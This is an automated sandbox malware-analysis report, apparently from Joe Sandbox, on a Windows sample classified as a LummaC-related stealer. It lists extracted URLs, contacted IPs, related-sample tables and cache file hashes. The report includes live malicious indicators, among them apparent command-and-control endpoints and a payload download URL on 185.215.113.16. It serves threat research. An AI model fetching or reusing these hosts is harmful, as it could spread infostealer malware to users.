00000000.00000003.1804221101.0000000001336000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1992508761.0000000005A85000.00000004.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1992613282.0000000001368000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1933084846.0000000005A84000.00000004.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1948058695.0000000005A85000.00000004.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1908360271.0000000001331000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1906133272.0000000005A82000.00000004.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.2095221305.0000000001331000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1908014684.0000000001331000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1933238541.0000000001331000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1992613282.0000000001331000.00000004.00000020.00020000.00000000.sdmp	false		high
http://store.steampowered.com/privacy_agreement/	GxX48twWHA.exe, 00000000.00000003.1804221101.00000000012EC000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1827713857.000000000138E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://polymer.github.io/PATENTS.txt	chromecache_105.6.dr, chromecache_86.6.dr	false		high
https://store.steampowered.com/points/shop/	GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	GxX48twWHA.exe, 00000000.00000003.1829351198.0000000005ACD000.00000004.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1829032882.0000000005AD0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	GxX48twWHA.exe, 00000000.00000003.1882554060.0000000005AB6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com:443/apic	GxX48twWHA.exe, 00000000.00000003.1827743494.00000000012F3000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1804221101.00000000012F3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://ocsp.rootca1.amazontrust.com0:	GxX48twWHA.exe, 00000000.00000003.1882554060.0000000005AB6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	GxX48twWHA.exe, 00000000.00000003.1856575406.0000000005ADC000.00000004.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1829896563.0000000005ADC000.00000004.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1829818052.0000000005AE3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://schema.org	chromecache_86.6.dr	false		high
http://polymer.github.io/LICENSE.txt	chromecache_105.6.dr, chromecache_86.6.dr	false		high
https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a	GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	GxX48twWHA.exe, 00000000.00000003.1829032882.0000000005AD0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199724331900/inventory/	GxX48twWHA.exe, 00000000.00000003.1804221101.00000000012EC000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1827713857.000000000138E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	GxX48twWHA.exe, 00000000.00000003.1883605646.0000000005BAD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://store.steampowered.com/privacy_agreement/	GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng	GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/adegeo	chromecache_78.6.dr	false		high
https://support.microsof	GxX48twWHA.exe, 00000000.00000003.1829818052.0000000005AE3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am	GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	false		high
https://octokit.github.io/rest.js/#throttling	chromecache_105.6.dr, chromecache_86.6.dr	false		high
https://github.com/js-cookie/js-cookie	chromecache_105.6.dr, chromecache_86.6.dr	false		high
http://185.215.113.16/off/def.exe	GxX48twWHA.exe, 00000000.00000003.2094965781.00000000012F3000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.2094629554.0000000001381000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.2095044970.0000000001384000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000002.2173598246.0000000001368000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schema.org/Organization	chromecache_78.6.dr	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	GxX48twWHA.exe, 00000000.00000003.1829896563.0000000005AB7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://shapestickyr.lat:443/api	GxX48twWHA.exe, 00000000.00000003.1827743494.00000000012F3000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1804221101.00000000012F3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16:80/off/def.exe3	GxX48twWHA.exe, 00000000.00000003.2094965781.00000000012F3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/dotnet/try	chromecache_105.6.dr, chromecache_86.6.dr	false		high
https://store.steampowered.com/about/	GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/apieiwp~	GxX48twWHA.exe, 00000000.00000003.1856636161.0000000005A8E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://lev-tolstoi.com/m0#	GxX48twWHA.exe, 00000000.00000003.1804399417.0000000001368000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_78.6.dr	false		high
https://steamcommunity.com/my/wishlist/	GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&	GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	false		high
https://help.steampowered.com/en/	GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/market/	GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/news/	GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_78.6.dr	false		high
http://185.215.113.16/M	GxX48twWHA.exe, 00000000.00000003.2094629554.0000000001381000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.2095190360.0000000001388000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.2095044970.0000000001384000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	GxX48twWHA.exe, 00000000.00000003.1829032882.0000000005AD0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://store.steampowered.com/subscriber_agreement/	GxX48twWHA.exe, 00000000.00000003.1804221101.00000000012EC000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1827713857.000000000138E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/apik	GxX48twWHA.exe, 00000000.00000003.1804399417.0000000001368000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	GxX48twWHA.exe, 00000000.00000003.1804221101.00000000012EC000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1827713857.000000000138E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	GxX48twWHA.exe, 00000000.00000003.1856575406.0000000005ADC000.00000004.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1829896563.0000000005ADC000.00000004.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1829818052.0000000005AE3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://go.micros	GxX48twWHA.exe, 00000000.00000002.2173598246.0000000001368000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/discussions/	GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/stats/	GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am	GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com:443/api-	GxX48twWHA.exe, 00000000.00000003.1907811909.00000000012F3000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.2094965781.00000000012F3000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1992769328.00000000012F3000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1933403044.00000000012F3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.66.86	lev-tolstoi.com	United States	13335	CLOUDFLARENETUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.102.49.254	steamcommunity.com	United States	16625	AKAMAI-ASUS	false
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.8
192.168.2.4

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1580938
Start date and time:	2024-12-26 13:21:15 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	GxX48twWHA.exe renamed because original name is a hash value
Original Sample Name:	f0ae755fcf9bfc54922b2076d228e957.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/61@17/7
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.214.172, 192.229.221.95, 172.217.21.35, 184.28.89.167, 172.217.19.238, 64.233.161.84, 184.30.22.94, 172.217.17.46, 142.250.181.106, 142.250.181.42, 172.217.19.202, 142.250.181.74, 172.217.19.234, 172.217.17.74, 172.217.17.42, 172.217.19.10, 142.250.181.138, 172.217.19.170, 2.19.198.56, 23.32.238.130, 172.217.17.35, 4.245.163.56, 184.28.90.27, 13.107.246.63
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, clientservices.googleapis.com, learn.microsoft.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, update.googleapis.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, clients.l.google.com, wcpstatic.microsoft.com
Execution Graph export aborted for target GxX48twWHA.exe, PID 6284 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
07:22:12	API Interceptor	91x Sleep call for process: GxX48twWHA.exe modified

LLM Input / Output

Input	Output
URL: https://microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=GxX48twWHA.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "Yes", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=GxX48twWHA.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=GxX48twWHA.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=GxX48twWHA.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.66.86	MV ROCKET_PDA.exe	Get hash	malicious	FormBook	Browse	www.ayushigangwar.com/nqn4/?CJBlp=0Brh6Vr8UbBX&T2MpwT=59bmqUDXor7TXV4b71NCQ0d0nCVif23i1yH5+9ZmJc5hgCU7y+ZN9z0btTsWzGv6OrGw
185.215.113.16	ERTL09tA59.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	z3IxCpcpg4.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	GtEVo1eO2p.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	ZBbOXn0a3R.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	0Pm0sadcCP.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	TTsfmr1RWm.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	COBYmpzi7q.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	rwFNJ4pHWG.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	lBsKTx65QC.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	iUKUR1nUyD.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
lev-tolstoi.com	ERTL09tA59.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	MaZjv5XeQi.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	jT7sgjdTea.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	Y4svWfRK1L.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	YKri2nEBWE.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	0c8cY5GOMh.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	z3IxCpcpg4.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	GtEVo1eO2p.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	SPFFah2O2q.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	4KDKJjRzm8.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
steamcommunity.com	RUUSfr6dVm.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	9idglWFv95.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	tJd3ArrDAm.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	gdtJGo7jH3.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	oQSTpQfzz5.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	rkPR0Fo9Cb.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	35jPLNPb3r.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	ERTL09tA59.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	a7Sb42MqYv.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	C6xDdWG7hq.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
s-part-0035.t-0009.t-msedge.net	ERTL09tA59.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	90m2xwxCOf.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	tFDKSN3TdH.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	V2s8yjvIJw.exe	Get hash	malicious	Iris Stealer	Browse	13.107.246.63
	z3IxCpcpg4.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	GtEVo1eO2p.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	E6rBvcWFWu.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	k6olCJyvIj.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	BeoHXxE7q3.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	4KDKJjRzm8.exe	Get hash	malicious	LummaC	Browse	13.107.246.63

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASUS	RUUSfr6dVm.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	9idglWFv95.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	tJd3ArrDAm.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	gdtJGo7jH3.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	oQSTpQfzz5.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	rkPR0Fo9Cb.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	35jPLNPb3r.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	ERTL09tA59.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	a7Sb42MqYv.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	C6xDdWG7hq.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
CLOUDFLARENETUS	ERTL09tA59.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	MaZjv5XeQi.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	jT7sgjdTea.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	Y4svWfRK1L.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	YKri2nEBWE.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	0c8cY5GOMh.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	setup.msi	Get hash	malicious	Unknown	Browse	104.21.6.3
	z3IxCpcpg4.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	GtEVo1eO2p.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	SPFFah2O2q.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
WHOLESALECONNECTIONSNL	ERTL09tA59.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	z3IxCpcpg4.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	GtEVo1eO2p.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	ZBbOXn0a3R.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	9InQHaM8hT.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	i8Vwc7iOaG.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, StormKitty, Vidar	Browse	185.215.113.206
	0Pm0sadcCP.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	TTsfmr1RWm.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	COBYmpzi7q.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	rwFNJ4pHWG.exe	Get hash	malicious	LummaC	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	RUUSfr6dVm.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 104.102.49.254
	9idglWFv95.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 104.102.49.254
	tJd3ArrDAm.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 104.102.49.254
	gdtJGo7jH3.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 104.102.49.254
	oQSTpQfzz5.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 104.102.49.254
	rkPR0Fo9Cb.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 104.102.49.254
	35jPLNPb3r.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 104.102.49.254
	ERTL09tA59.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 104.102.49.254
	a7Sb42MqYv.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 104.102.49.254
	C6xDdWG7hq.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 104.102.49.254

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33273), with no line terminators
Category:	downloaded
Size (bytes):	33273
Entropy (8bit):	4.918756013698695
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUukj:5hOEO8chkMet7pCjBfcHkWOzUukj
MD5:	86E84C732A96BF9CF18C99B48DB90B6D
SHA1:	6A8C212067CB9FE5B8325AE1E89FCA3E7FCF20FA
SHA-256:	B54678C5BFB00DC1AFBF2E52C56F8E10173975C25FB19062EFE5DC86F1B7D769
SHA-512:	AD91A78371074B5BB2105A9AE69664371C235B7C82DFD25C9ED17F435E92018F2A0DD42203F403D7A75DF4FC63966017519F118B2B22F0DE7656B2B155636AA2
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
